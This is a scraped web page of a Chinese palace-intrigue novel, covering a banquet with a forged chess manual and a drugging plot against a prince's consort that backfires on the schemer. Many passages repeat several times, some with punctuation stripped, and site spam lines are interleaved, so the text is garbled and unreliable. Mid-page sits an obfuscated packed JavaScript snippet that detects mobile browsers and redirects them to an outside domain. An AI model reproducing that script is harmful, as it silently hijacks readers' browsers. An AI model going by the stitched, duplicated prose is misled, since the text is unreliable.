苏灵音的小妹苏雨荷鬼鬼祟祟地走到走廊上,她从袖中掏出一瓶药交给一个小太监。 “把事情办妥了,**病我自会让人治好。苏雨荷冷声道。 “是。 苏雨荷的眼神阴恻恻地射向十皇子与十皇子妃。 当初堂妹受辱,投井自尽,皆是拜这个**所赐! 若是她乖乖被换嫁,堂妹怎会被那个死老头侮辱? 这个仇,她一定要报! 苏雨荷回到原位时,跟苏灵音交换了一个眼神。 二人眼中射出了阴恻恻的光。 飞霜弯着腰道:“主子,方才苏家小小姐鬼鬼祟祟地跟着一个小太监去了走廊,不知道在干什么。 “把小太监盯好了。她道。 “是。飞霜的眼神变得凌厉 小太监端着酒水走到了十皇子、十皇子妃面前,给他们倒了酒水。 十皇子、十 皇子妃碰杯饮下。 云清婳转身看着后面席位的苏灵音,“苏侧妃,听说你的小妹跟九皇子定了亲? “是啊,二人情意相投,感情甚好。听闻九皇子整日约小妹出门游湖,父亲还以为是登徒子,险些打了他。苏灵音提起小妹时,一脸宠溺,眉眼间流露出几分骄傲。 “苏家小妹跟九皇子倒是般配,郎才女貌,佳偶天成。云清婳落落大方地夸奖。 苏灵音颔首,“借您吉言!二人感情真挚,他们之间可是没有算计的。 她在故意点云清婳。 云清婳冷笑。 裴墨染捏捏她的掌心,不满道:“蛮蛮,不许跟她说话! 云清婳无奈。 …… 少顷,皇上驾到。 寿宴的席面盛大,别开盛宴,歌舞升平。 四海的外邦的使臣都来了。 觥筹交错,推杯换盏间,所有皇子纷纷献礼。 裴墨染出列,他呈上一幅图,“这是儿臣偶然所得的吴**真迹《九天天神祝寿图》,请父皇品鉴。 太监将画轴缓缓展开,殿中发出此起彼伏的惊叹。 “吴**?!他在世时,一画难求啊!据说前朝皇帝命他作画,他都敢推拒! “能看到吴**的大作,老夫此生无憾了! “传闻不假,画上的神仙当真栩栩如生! 皇上对吴**颇有研究,他捋着胡子,分析道:“此画形神兼备、落笔随意、线条流畅、色彩鲜艳,神仙的状貌肃穆,却悲悯众生,颇具神性。 不错!此画的确是吴**的真迹,但不是《九天天神祝寿图》而是《九天玄女贺寿图》。 “皇上高明!几个臣子拍起了马屁。 外邦使臣举杯道:“皇上高明! 皇上很受用,他做出一副云淡风轻的表情,可上扬的眼角出卖了他此时的心情。 “儿臣受教。裴墨染拱手,表情谦逊。 皇上对裴墨染的顺从很满意,“不错,太子有心了。 裴墨染回到席位上,他与云清婳十指相扣,“蛮蛮的礼物真好。 云清婳的唇角勾起,这可是她千挑万选出来的寿礼,自然不会出错! 谁 不喜欢出风头? 皇上对吴**颇有研究让他当众分析画作故意留下破绽让皇上挑错、显摆情绪价值简直拉满! 这一段她跟裴墨染在家排练好几遍了。 “夫君演得也很好。”她在他耳边道。 “那是自然。”他看到对面的裴云澈时脸色逐渐阴沉“可惜更好的礼物在后面。” 裴云澈一起身众官员不由得唏嘘。 “《开元棋谱》啊!” “不是说失传了吗?早就被一把火烧掉了!” “没烧!真迹就在贤王手里。” 皇后侧着身殷切地笑道:“陛下这是臣妾跟云澈费了好多心思为您准备的礼物还望您不要嫌弃啊。” 皇上瞥了她一眼未置可否。 裴云澈行了大礼他恭敬道:“父皇儿臣找到了《开元棋谱》父皇喜好下棋来日还望父皇能指导儿臣一二。” “《开元棋谱》?!”皇上眼前一亮他的嘴角上扬有些迫不及待“来让朕看看!” “是。”裴云澈亲自将棋谱呈了上去。 “不错不错!”皇上连声称好对棋谱爱不释手“云澈你费心了!” “只要能让父皇高兴儿臣做什么都愿意。”裴云澈弓着腰道。 皇上嘴角的笑弧不断扩大他颔首“好!” 皇后似笑非笑地看向裴墨染眼神就好像在说:墨染谁让你不听本宫的话?这些殊荣本该属于你!可是你不珍惜! 裴墨染错开眼他觉得皇后荒唐、可笑并不在意。 云清婳的眼里盛满了玩味。 笑吧笑得越欢等会儿摔得越惨! 她怎么可能真让皇后得意呢? 她又不傻! 怎会帮着仇人铺路? 就在这时一个外邦使臣大笑三声“哈哈哈——” 宴厅登时鸦雀无声落针可闻。 众人诧异地侧头看着他。 “波斯使臣你笑什么?”皇上蹙眉问道。 “因为贤王殿下太幽默了!居然在皇上的寿宴上开这么大的玩笑!”波斯使臣鞠了一躬。 裴云澈脸上的笑意渐渐消失 皇后也皱起了眉头。 “什么意思?”裴墨染饶有兴趣地问。 波斯使臣道:“皇上!您手上的这本《开元棋谱》是假的!” “放肆!怎么可能是假的?你见过真的吗?”皇后的脸色很难看有些气急败坏。 皇上瞪了皇后一眼他似笑非笑让人看不出心情好坏“波斯使臣何出此言呢?” “外臣还真见过真棋谱!因为真棋谱在我们手上!这是波斯送给大昭皇帝的寿礼!”波斯使臣打开身后的匣子拿出一本一模一样的棋谱。 你的朋友正在书荒,快去帮帮他吧 不喜欢出风头? 皇上对吴**颇有研究,让他当众分析画作,故意留下破绽,让皇上挑错、显摆,情绪价值简直拉满! 这一段,她跟裴墨染在家排练好几遍了。 “夫君演得也很好。她在他耳边道。 “那是自然。他看到对面的裴云澈时,脸色逐渐阴沉,“可惜更好的礼物在后面。 裴云澈一起身,众官员不由得唏嘘。 “《开元棋谱》啊! “不是说失传了吗?早就被一把火烧掉了! “没烧!真迹就在贤王手里。 皇后侧着身,殷切地笑道:“陛下,这是臣妾跟云澈费了好多心思为您准备的礼物,还望您不要嫌弃啊。 皇上瞥了她一眼,未置可否。 裴云澈行了大礼,他恭敬道:“父皇,儿臣找到了《开元棋谱》,父皇喜好下棋,来日还望父皇能指导儿臣一二。 “《开元棋谱》?!皇上眼前一亮,他的嘴角上扬,有些迫不及待,“来,让朕看看! “是。裴云澈亲自将棋谱呈了上去。 “不错,不错!皇上连声称好,对棋谱爱不释手,“云澈,你费心了! “只要能让父皇高兴,儿臣做什么都愿意。裴云澈弓着腰道。 皇上嘴角的笑弧不断扩大,他颔首,“好! 皇后似笑非笑地看向裴墨染,眼神就好像在说:墨染,谁让你不听本宫的话?这些殊荣本该属于你!可是你不珍惜! 裴墨染错开眼,他觉得皇后荒唐、可笑,并不在意。 云清婳的眼里盛满了玩味。 笑吧,笑得越欢,等会儿摔得越惨! 她怎么可能真让皇后得意呢? 她又不傻! 怎会帮着仇人铺路? 就在这时,一个外邦使臣大笑三声,“哈哈哈—— 宴厅登时鸦雀无声,落针可闻。 众人诧异地侧头看着他。 “波斯使臣,你笑什么?皇上蹙眉问道。 “因为贤王殿下太幽默了!居然在皇上的寿宴上开这么大的玩笑!波斯使臣鞠了一躬。 裴云澈脸上的笑意渐渐消失,脸上出现了一丝茫然。 皇后也皱起了眉头。 “什么意思? 波斯使臣道:“皇上!您手上的这本《开元棋谱》是假的! “放肆!怎么可能是假的?你见过真的吗?皇后的脸色很难看,有些气急败坏。 皇上瞪了皇后一眼,他似笑非笑,让人看不出心情好坏,“波斯使臣,何出此言呢? “外臣还真见过真棋谱!因为真棋谱在我们手上!这是波斯送给大昭皇帝的寿礼!波斯使臣打开身后的匣子,拿出一本一模一样的棋谱。 你的朋友正在书荒,快去帮帮他吧 不喜欢出风头? 皇上对吴**颇有研究,让他当众分析画作,故意留下破绽,让皇上挑错、显摆,情绪价值简直拉满! 这一段,她跟裴墨染在家排练好几遍了。 “夫君演得也很好。她在他耳边道。 “那是自然。他看到对面的裴云澈时,脸色逐渐阴沉,“可惜更好的礼物在后面。 裴云澈一起身,众官员不由得唏嘘。 “《开元棋谱》啊! “不是说失传了吗?早就被一把火烧掉了! “没烧!真迹就在贤王手里。 皇后侧着身,殷切地笑道:“陛下,这是臣妾跟云澈费了好多心思为您准备的礼物,还望您不要嫌弃啊。 皇上瞥了她一眼,未置可否。 裴云澈行了大礼,他恭敬道:“父皇,儿臣找到了《开元棋谱》,父皇喜好下棋,来日还望父皇能指导儿臣一二。 “《开元棋谱》?!皇上眼前一亮,他的嘴角上扬,有些迫不及待,“来,让朕看看! “是。裴云澈亲自将棋谱呈了上去。 “不错,不错!皇上连声称好,对棋谱爱不释手,“云澈,你费心了! “只要能让父皇高兴,儿臣做什么都愿意。裴云澈弓着腰道。 皇上嘴角的笑弧不断扩大,他颔首,“好! 皇后似笑非笑地看向裴墨染,眼神就好像在说:墨染,谁让你不听本宫的话?这些殊荣本该属于你!可是你不珍惜! 裴墨染错开眼,他觉得皇后荒唐、可笑,并不在意。 云清婳的眼里盛满了玩味。 笑吧,笑得越欢,等会儿摔得越惨! 她怎么可能真让皇后得意呢? 她又不傻! 怎会帮着仇人铺路? 就在这时,一个外邦使臣大笑三声,“哈哈哈—— 宴厅登时鸦雀无声,落针可闻。 众人诧异地侧头看着他。 “波斯使臣,你笑什么?皇上蹙眉问道。 “因为贤王殿下太幽默了!居然在皇上的寿宴上开这么大的玩笑!波斯使臣鞠了一躬。 裴云澈脸上的笑意渐渐消失,脸上出现了一丝茫然。 皇后也皱起了眉头。 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“《开元棋谱》?!”皇上眼前一亮他的嘴角上扬有些迫不及待“来让朕看看!” “是。”裴云澈亲自将棋谱呈了上去。 “不错不错!”皇上连声称好对棋谱爱不释手“云澈你费心了!” “只要能让父皇高兴儿臣做什么都愿意。”裴云澈弓着腰道。 皇上嘴角的笑弧不断扩大 皇后似笑非笑地看向裴墨染眼神就好像在说:墨染谁让你不听本宫的话?这些殊荣本该属于你!可是你不珍惜! 裴墨染错开眼他觉得皇后荒唐、可笑并不在意。 云清婳的眼里盛满了玩味。 笑吧笑得越欢等会儿摔得越惨! 她怎么可能真让皇后得意呢? 她又不傻! 怎会帮着仇人铺路? 就在这时一个外邦使臣大笑三声“哈哈哈——” 宴厅登时鸦雀无声落针可闻。 众人诧异地侧头看着他。 “波斯使臣你笑什么?”皇上蹙眉问道。 “因为贤王殿下太幽默了!居然在皇上的寿宴上开这么大的玩笑!”波斯使臣鞠了一躬。 裴云澈脸上的笑意渐渐消失脸上出现了一丝茫然。 皇后也皱起了眉头。 “什么意思?”裴墨染饶有兴趣地问。 波斯使臣道:“皇上!您手上的这本《开元棋谱》是假的!” “放肆!怎么可能是假的?你见过真的吗?”皇后的脸色很难看有些气急败坏。 皇上瞪了皇后一眼他似笑非笑让人看不出心情好坏“波斯使臣何出此言呢?” “外臣还真见过真棋谱!因为真棋谱在我们手上!这是波斯送给大昭皇帝的寿礼!”波斯使臣打开身后的匣子拿出一本一模一样的棋谱。 你的朋友正在书荒,快去帮帮他吧 不喜欢出风头? 皇上对吴**颇有研究,让他当众分析画作,故意留下破绽,让皇上挑错、显摆,情绪价值简直拉满! 这一段,她跟裴墨染在家排练好几遍了。 “夫君演得也很好。她在他耳边道。 “那是自然。他看到对面的裴云澈时,脸色逐渐阴沉,“可惜更好的礼物在后面。 裴云澈一起身,众官员不由得唏嘘。 “《开元棋谱》啊! “不是说失传了吗?早就被一把火烧掉了! “没烧!真迹就在贤王手里。 皇后侧着身,殷切地笑道:“陛下,这是臣妾跟云澈费了好多心思为您准备的礼物,还望您不要嫌弃啊。 皇上瞥了她一眼,未置可否。 裴云澈行了大礼,他恭敬道:“父皇,儿臣找到了《开元棋谱》,父皇喜好下棋,来日还望父皇能指导儿臣一二。 “《开元棋谱》?!皇上眼前一亮,他的嘴角上扬,有些迫不及待,“来,让朕看看! “是。裴云澈亲自将棋谱呈了上去。 “不错,不错!皇上连声称好,对棋谱爱不释手,“云澈,你费心了! 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皇后似笑非笑地看向裴墨染,眼神就好像在说:墨染,谁让你不听本宫的话?这些殊荣本该属于你!可是你不珍惜! 裴墨染错开眼,他觉得皇后荒唐、可笑,并不在意。 云清婳的眼里盛满了玩味。 笑吧,笑得越欢,等会儿摔得越惨! 她怎么可能真让皇后得意呢? 她又不傻! 怎会帮着仇人铺路? 就在这时,一个外邦使臣大笑三声,“哈哈哈——” 宴厅登时鸦雀无声,落针可闻。 众人诧异地侧头看着他。 “波斯使臣,你笑什么?”皇上蹙眉问道。 “因为贤王殿下太幽默了!居然在皇上的寿宴上开这么大的玩笑!”波斯使臣鞠了一躬。 裴云澈脸上的笑意渐渐消失,脸上出现了一丝茫然。 皇后也皱起了眉头。 “什么意思?”裴墨染饶有兴趣地问。 波斯使臣道:“皇上!您手上的这本《开元棋谱》是假的!” “放肆!怎么可能是假的?你见过真的吗?”皇后的脸色很难看,有些气急败坏。 皇上瞪了皇后一眼,他似笑非笑,让人看不出心情好坏,“波斯使臣,何出此言呢?” “外臣还真见过真棋谱!因为真棋谱在我们手上!这是波斯送给大昭皇帝的寿礼!”波斯使臣打开身后的匣子,拿出一本一模一样的棋谱。 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 第259章 棺材板要压不住了 群臣奋起,斥责道:“胡说!怎么可能是假的!” “你都不是中原人,你懂什么棋谱?” “波斯小国也会下棋?怕不是你被骗了!” 波斯使臣冷笑,他不慌不满的打开棋谱的最后一页,“陛下,《开元棋谱》的最后一页有棋圣的印章!众人皆知,棋圣嗜酒,醉酒时,将印章磕破了一角。所以落下的印也缺了一角。” 皇上打开手中棋谱的最后一页,脸都僵住了。 棋谱上的印章别说缺一角了,整个印章看起来都十分拙劣,歪歪扭扭,粗细不一,就像是萝卜刻上的章…… 一看就是假的! 皇上砰的将棋谱合住。 他的脸像是开了染坊,一会儿绿一会儿红。 他活了一把年纪,从未像今日这么丢脸过,恨不得找条地缝钻进去! 云清婳看着皇上一脸便秘的表情,差点扑哧笑出声。 这是她用萝卜刻的章,老毕登还满意吧? 真的《开元棋谱》,她在半年前就卖给波斯使臣了。 皇后、裴云澈慌了,二人的脸色登时惨白。 皇上的脸色黑沉,鄙夷、愤怒、怨怼地剜了皇后、裴云澈。 都是他们俩,让他丢了这么大的人! 他可是大昭的天子,今日可是他的生辰! 突厥、大月氏、高丽、吐蕃、波斯使臣的肩膀不停地抖动,他们忍着笑,一副看笑话的模样。 他们窃窃私语:“扑哧——” “大昭皇帝生辰,他儿子居然送了假棋谱!” “不过那个吴**的画倒是不错!但是大昭皇帝明显更喜欢假货。” “围棋是我们高丽发明的,说到棋谱,还是我们高丽的最正宗。” 其他国使臣:??? “去**!你说梦话呢?梦到哪句说哪句?” 其他使臣嫌弃不易,纷纷远离高丽使臣。 皇上泰山崩于前而色不改,可心中也尴尬不已。 方才骂得最欢的大昭臣子像极了鹌鹑,他们耷拉着脑袋,脸红得像是熟透的虾子。 “呵呵……”皇上露出慈爱的笑,可口吻却像咬牙切齿,“你这孩子,真是顽皮!为了讨朕欢心,居然造了仿本!” 皇 上极力维持着体面,“云澈,尽管棋谱是假的,但你的孝心比真金还真!朕很感动!” 裴云澈看得出来,皇上是真的生气了。 但为了维持在外邦前的面子,只能强颜欢笑。 他顺水推舟,羞愧的跪下,“儿臣知错,多谢父皇体谅。” “是啊是啊,云澈也是好心,都是一片孝心,依臣妾所见,这仿本不比吴**的画差。”皇后见缝插针帮裴云澈说话。 扑哧—— 外邦使臣忍不住笑喷,“天啊,吴**的棺材板要压不住了!” “棋圣的棺材板也压不住了!” 皇上才压下去的火气蹭的上来了,他登时火冒三丈,手捏得咔咔作响。 恐怕连杀了皇后的心都有了。 裴云澈的心咯噔一响,他被皇后的话给吓到了。 母后能不能别丢人了 云清婳跟裴墨染都忍不住笑了。 “坏人的处心积虑,比不上蠢人的灵机一动。”她精辟地总结。 裴墨染十分赞同。 他还什么都没做呢,皇后光是动动嘴皮子,就让大昭颜面扫地,把父皇气得半死。 “幸好我没要到皇后的棋谱,感谢她。”裴墨染自嘲般地说。 “一时的成败不是最后的结果。”云清婳拍拍他的手背。 裴墨染笑着颔首。 苏灵音看着前面的二人琴瑟和鸣的样子,差点把手中的帕子绞了。 云清婳,你就得意吧! 马上,你们云家便会蒙羞! 你们云家的女儿再也嫁不出去,抬不起头! 谁让你心里只有献礼,顾不上你的妹妹呢? 这就叫‘出其不意,攻其不备’! “陛下,这是波斯为您准备的《开元棋谱》,还望您喜欢。”波斯使臣奉上棋谱。 “好、好……”皇上气势恢宏,似乎方才的小插曲并未发生。 但实则,这本棋谱已经成为他心中的刺。 今日的**,让他日后都不想再下棋。 宴席很快又恢复了热闹。 说的域名caixs.com?(请来才小 说 看最新章节 完整章节) 云清婳回过神,她左右张望,“十皇子妃呢?方才说出去转转,怎么现在还没回来?” “这……”飞霜的眸子一震。 苏灵音暗笑。 现在才发现端倪吗? 只可惜,晚了! “快派人去找!”云清婳黛眉一厉,她吩咐道。 “是!”飞霜立即去找。 云清婳又看向裴墨染,“夫君,十皇子妃离席许久,我心中不安,咱们派人找找吧。” “好。”他了解蛮蛮,她绝不会平白无故提这种要求。 裴墨染立即派王显跟十皇子说明情况,二人派人联合寻找十皇子妃。 太监、宫女正欲寻找,偏殿传来一声尖叫。 啊——< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16087388|178440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “怎么了?”苏灵音惊愕地捂着嘴。 今日是万寿节,万不可污了圣上的清明。 所以遇到紧急事件,只能由裴墨染、云清婳来摆平。 裴墨染、云清婳离席,朝着声源处走去。 苏灵音紧随其后。 一些好事的皇子、嫔妃、命妇跟在后面。 偏殿的门外,一个太监跌坐在地,他语无伦次:“里面、里面……有人**啊!” “何人?把他们抓起来严惩,万不可污了陛下的眼。”云清婳道。 “可是,可是……”太监浑身都颤抖起来。 苏家二公子苏盛混不吝道:“太子妃还是推门看看吧,若是宫女太监也就罢了,就怕是身份尊贵之人。” “你什么意思?”云隽的脸一沉,冷声问。 苏盛刺了云清婳一眼,他耸肩,“别怪我没提醒你们!方才听说太子妃不是在找十皇子妃吗?” “咦,里面不会是十皇子妃吧?”几个命妇说了起来,他们跟苏家交情匪浅。 有的妇人夫家甚至是苏将军的部下。 “世人皆说,云家女子德行昭然,现在看来不过如此。” “好脏啊!不是一家人,不进一家门,真是没有脸皮!我们万万不能跟云家扯上关系!” 云隽鬓角的青筋鼓起,“你胡说!堂妹向来洁身自好,为人清白,岂容你造谣?” “你急什么?我只是担心十皇子妃,随口说说罢了!”苏盛痞气地笑了。 十皇子双目充血,他斥道:“不会的!蓉儿不会对不起我!你放肆!” 苏盛不服气,悄悄翻了个白眼。 “十皇子,家兄也是关心则乱,是与不是,把门推开看看不就得了?”苏灵音柔声劝道。 “不准开!”十皇子双手缓缓攥着,他犹豫了。 他不敢推开这扇门。 倘若真的是蓉儿……他日后该如何抬头做人? 苏灵音、苏盛相视一笑。 几个命妇继续道:“看来真是云蓉!” “诶呀呀!我要是云蓉,我就找根绳吊死,免得祸害云家!” “太不要脸了!我若是云家,我就举全族搬出京城,永不回京!” 云清婳跟云隽的脸色愈来愈阴沉。 云隽气得胳膊都在颤抖,“这群老虔婆,我真想剪了她们的舌头!” “……”云清婳冷笑。 骂吧,骂吧! 这些都会成为回旋镖。 裴墨染拍了拍十皇子的肩膀,他也遇到过类似的情况,很理解他的心情,“皇弟,推不推门,事情都已经发生了!你怕什么?不相信皇子妃吗?” 第260章 奸夫是谁?天啊! “可是我……”十皇子犹豫着。 “你究竟怕什么?你不相信皇子妃吗?里面谁说是皇子妃了?”裴墨染循循善诱。 云清婳翻了个白眼他还教育起别人来了他之前的表现很好嘛? 就在这时皇后气势磅礴地带着几十个宫女浩浩荡荡来了。 很明显她在故意把动静闹大。 恨不得闹得人尽皆知! “开门!”皇后一字一顿的命令不容置喙。 “娘娘臣妾觉得还是找宫女进去看看为好门就不必开了。听太监的意思……里面不是宫女呢。”云清婳露出为难的表情脸上都急出了汗。 皇后看到云清婳脸上的汗珠眼中翻涌着报复的快感。 里面一定是云蓉! 云家人都**吧! “太子妃!你还越到本宫头上了?宫中是听你的还是听本宫的?”皇后劈头盖脸地怒斥“王子犯法与庶民同罪!这个道理你都不懂?” “本宫告诉你里面不论是谁今日都得受罚**宫宴者杖毙!你休想开脱!” 云清婳像是承受不住打击双膝一软扑通跪地。 她捏着帕子肩膀一耸一耸地哭道:“娘娘或许有隐情呢?或许里面的人是被下药的呢?或许有人强迫了女子呢?不能一概而论啊!” 皇后冷笑。 云**现在知道怕了? 她陷害灵音陷害苏家的时候怎么不知道怕? 撺掇她的两个儿子忤逆她的时候怎么不知道怕? “**就是**!没有理由!不论男女不论何人皆该浸猪笼!听懂了吗?太子妃瞧瞧你现在的样子哪有一点东宫气度?”皇后剜了她一眼刻薄地嘲讽。 苏灵音、苏盛阴恻恻地笑了。 “有些人还想包庇自家人满口仁义道德实则想要徇私情!简直把大昭律法践踏在脚下一手遮天!这种女人我若是娶回家一定一天打三遍把她吊起来打到服为止!”苏盛讽刺。 他未点名道姓谁都不能把他怎么样。 裴墨染、云隽、十皇子狠狠瞪他。 “蛮蛮别怕。”裴墨染将她扶起来 “ 开门!”皇后命令。 “是!”几个太监上前。 十皇子、云隽想拦可被苏盛挡住了。 吱呀—— 门打开的瞬间所有人瞳孔地震。 几个命妇也张大了嘴巴。 “天啊!” “我的娘啊!” 床榻下面女子衣衫凌乱正在胡乱往身上套衣物哭得一把鼻涕一把泪“不不……别看别看呜呜……我被人下药了我被人下药了!” 皇后当场石化一动不动震惊地看着自己的小侄女——苏雨荷。 “小妹?”苏灵音、苏盛异口同声二人的表情就像是见到了鬼。 就在这时云蓉从远处娉婷走来“怎么了?是不是我让夫君着急了?听闻堂姐跟夫君都在找我呢。” 十皇子此时哪还有半点担忧他一脸看热闹的表情赶紧指了指寝屋示意她快来看。 云蓉心中了然。 因为里面发生的一切 宴席一开始飞霜就提醒她苏雨荷给她跟十皇子下了药所以她将计就计把药下给了始作俑者——苏雨荷。 云蓉跟十皇子默契地趴在门上好奇的张望。 “咦太迫不及待了。” “谁说不是呢?” 云清婳满意的看着云蓉。 还不错! 她们云家人个个都聪明! 并不需要她来保护! 苏灵音真是太小看云家了。 云清婳撇了眼气的七窍生烟的苏灵音。 苏灵音的眼中闪烁着泪光她抱着苏雨荷“小妹别怕没事的姐姐在!” “姐姐……呜呜呜怎么办啊?怎么办啊?我快成亲了……”苏雨荷崩溃地大哭。 忽地一道阴影落了下来。 九皇子黑着脸气急败坏地看着苏雨荷“你你……今日可是父皇的寿宴啊!你就这么迫不及待?” “不!我是被人下药的!您相信我啊……”苏雨荷伸手抓住九皇子的衣摆。 九皇子的心摇摆起来。 显然他对苏雨荷是有点真情的。 “那个男人是谁啊?说不定苏姑娘是被强迫的呢?”云清婳悲悯的说。 榻上 ,男人似乎晕了过去,他的脸被被褥蒙着。 其实苏雨荷也不知道男人是谁。 她迷迷糊糊的…… 发生了什么都不知道。 太监将被褥一扯开,又是一声尖叫,“啊……是,是……” “是谁?”裴墨染问。 苏灵音、苏盛、苏雨荷、皇后皆倒吸了口凉气。 “是苏大公子苏玉林!”太监感觉三观都要碎了。 “天啊!”苏灵音哭了。 “怎么可能?大哥光风霁月,怎么可能呢?”苏盛攥紧了拳头,他恶狠狠地看着云清婳、云蓉,眼神刻毒像是一条毒蛇。 苏雨荷慌乱地看着九皇子,“不、不、不……我跟大哥什么都没有发生,我推开他了,真的,真的!” 九皇子像是看到了全天下最脏的东西,他狠狠甩开苏雨荷的手,“别碰本王!婚约作废!” 说着,他逃似的跑了。 裴墨染也是一脸膈应,“太恶心了!” 他捂着云清婳的眼睛,“小心长针眼。” 云蓉也是一脸震惊。 明明苏雨荷给她准备的是一个侍卫,怎么变成苏玉林了? 云清婳了然于胸。 因为苏玉林是她准备的。 苏灵音、苏雨荷不是想玩吗? 那她就陪他们玩到底! “诶呦呦啊!这怎么可以?这是违背人伦的!”几个命妇道。 可苏灵音瞪了她们一眼,她们就偃旗息鼓了。 “娘娘,现在该怎么办啊?”云清婳故作懵懂。 皇后的脸早就白了,自己的侄子、侄女做出这么丢脸的事! 她的双臂颤抖,“你看不见吗?他们被人下药了!玉林现在还昏迷不醒呢。” “可是娘娘方才说,王子犯法与庶民同罪,**就是**!没有理由!不论男女,不论何人皆该浸猪笼!”云清婳娇憨地复述她的话。 “好啊你,在这儿等着本宫是吧?是不是你做的?”皇后失态地指着云清婳的鼻子,破口大骂。 “你瞎了还是聋了?看不见雨荷哭得有多伤心吗?她才十六岁啊,被人陷害,险些失身!你也是女人,你有没有同情心?” 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 ,男人似乎晕了过去,他的脸被被褥蒙着。 其实苏雨荷也不知道男人是谁。 她迷迷糊糊的…… 发生了什么都不知道。 太监将被褥一扯开,又是一声尖叫,“啊……是,是…… “是谁?裴墨染问。 苏灵音、苏盛、苏雨荷、皇后皆倒吸了口凉气。 “是苏大公子苏玉林!太监感觉三观都要碎了。 “天啊!苏灵音哭了。 “怎么可能?大哥光风霁月,怎么可能呢?苏盛攥紧了拳头,他恶狠狠地看着云清婳、云蓉,眼神刻毒像是一条毒蛇。 苏雨荷慌乱地看着九皇子,“不、不、不……我跟大哥什么都没有发生,我推开他了,真的,真的! 九皇子像是看到了全天下最脏的东西,他狠狠甩开苏雨荷的手,“别碰本王!婚约作废! 说着,他逃似的跑了。 裴墨染也是一脸膈应,“太恶心了! 他捂着云清婳的眼睛,“小心长针眼。 云蓉也是一脸震惊。 明明苏雨荷给她准备的是一个侍卫,怎么变成苏玉林了? 云清婳了然于胸。 因为苏玉林是她准备的。 苏灵音、苏雨荷不是想玩吗? 那她就陪他们玩到底! “诶呦呦啊!这怎么可以?这是违背人伦的!几个命妇道。 可苏灵音瞪了她们一眼,她们就偃旗息鼓了。 “娘娘,现在该怎么办啊?云清婳故作懵懂。 皇后的脸早就白了,自己的侄子、侄女做出这么丢脸的事! 她的双臂颤抖,“你看不见吗?他们被人下药了!玉林现在还昏迷不醒呢。 “可是娘娘方才说,王子犯法与庶民同罪,**就是**!没有理由!不论男女,不论何人皆该浸猪笼!云清婳娇憨地复述她的话。 “好啊你,在这儿等着本宫是吧?是不是你做的?皇后失态地指着云清婳的鼻子,破口大骂。 “你瞎了还是聋了?看不见雨荷哭得有多伤心吗?她才十六岁啊,被人陷害,险些失身!你也是女人,你有没有同情心? 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 男人似乎晕了过去他的脸被被褥蒙着。 其实苏雨荷也不知道男人是谁。 她迷迷糊糊的…… 发生了什么都不知道。 太监将被褥一扯开 “是谁?”裴墨染问。 苏灵音、苏盛、苏雨荷、皇后皆倒吸了口凉气。 “是苏大公子苏玉林!”太监感觉三观都要碎了。 “天啊!”苏灵音哭了。 “怎么可能?大哥光风霁月怎么可能呢?”苏盛攥紧了拳头他恶狠狠地看着云清婳、云蓉眼神刻毒像是一条毒蛇。 苏雨荷慌乱地看着九皇子“不、不、不……我跟大哥什么都没有发生我推开他了真的真的!” 九皇子像是看到了全天下最脏的东西他狠狠甩开苏雨荷的手“别碰本王!婚约作废!” 说着他逃似的跑了。 裴墨染也是一脸膈应“太恶心了!” 他捂着云清婳的眼睛“小心长针眼。” 云蓉也是一脸震惊。 明明苏雨荷给她准备的是一个侍卫怎么变成苏玉林了? 云清婳了然于胸。 因为苏玉林是她准备的。 苏灵音、苏雨荷不是想玩吗? 那她就陪他们玩到底! “诶呦呦啊!这怎么可以?这是违背人伦的!”几个命妇道。 可苏灵音瞪了她们一眼她们就偃旗息鼓了。 “娘娘现在该怎么办啊?”云清婳故作懵懂。 皇后的脸早就白了自己的侄子、侄女做出这么丢脸的事! 她的双臂颤抖“你看不见吗?他们被人下药了!玉林现在还昏迷不醒呢。” “可是娘娘方才说王子犯法与庶民同罪**就是**!没有理由!不论男女不论何人皆该浸猪笼!”云清婳娇憨地复述她的话。 “好啊你在这儿等着本宫是吧?是不是你做的?”皇后失态地指着云清婳的鼻子破口大骂。 “你瞎了还是聋了?看不见雨荷哭得有多伤心吗?她才十六岁啊被人陷害险些失身!你也是女人你有没有同情心?” 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 男人似乎晕了过去他的脸被被褥蒙着。 其实苏雨荷也不知道男人是谁。 她迷迷糊糊的…… 发生了什么都不知道。 太监将被褥一扯开又是一声尖叫“啊……是是……” “是谁?”裴墨染问。 苏灵音、苏盛、苏雨荷、皇后皆倒吸了口凉气。 “是苏大公子苏玉林!”太监感觉三观都要碎了。 “天啊!”苏灵音哭了。 “怎么可能?大哥光风霁月怎么可能呢?”苏盛攥紧了拳头他恶狠狠地看着云清婳、云蓉眼神刻毒像是一条毒蛇。 苏雨荷慌乱地看着九皇子“不、不、不……我跟大哥什么都没有发生我推开他了真的真的!” 九皇子像是看到了全天下最脏的东西他狠狠甩开苏雨荷的手“别碰本王!婚约作废!” 说着他逃似的跑了。 裴墨染也是一脸膈应“太恶心了!” 他捂着云清婳的眼睛“小心长针眼。” 云蓉也是一脸震惊。 明明苏雨荷给她准备的是一个侍卫怎么变成苏玉林了? 云清婳了然于胸。 因为苏玉林是她准备的。 苏灵音、苏雨荷不是想玩吗? 那她就陪他们玩到底! “诶呦呦啊!这怎么可以?这是违背人伦的!”几个命妇道。 可苏灵音瞪了她们一眼她们就偃旗息鼓了。 “娘娘现在该怎么办啊?”云清婳故作懵懂。 皇后的脸早就白了自己的侄子、侄女做出这么丢脸的事! 她的双臂颤抖“你看不见吗?他们被人下药了!玉林现在还昏迷不醒呢。” “可是娘娘方才说王子犯法与庶民同罪**就是**!没有理由!不论男女不论何人皆该浸猪笼!”云清婳娇憨地复述她的话。 “好啊你在这儿等着本宫是吧?是不是你做的?”皇后失态地指着云清婳的鼻子破口大骂。 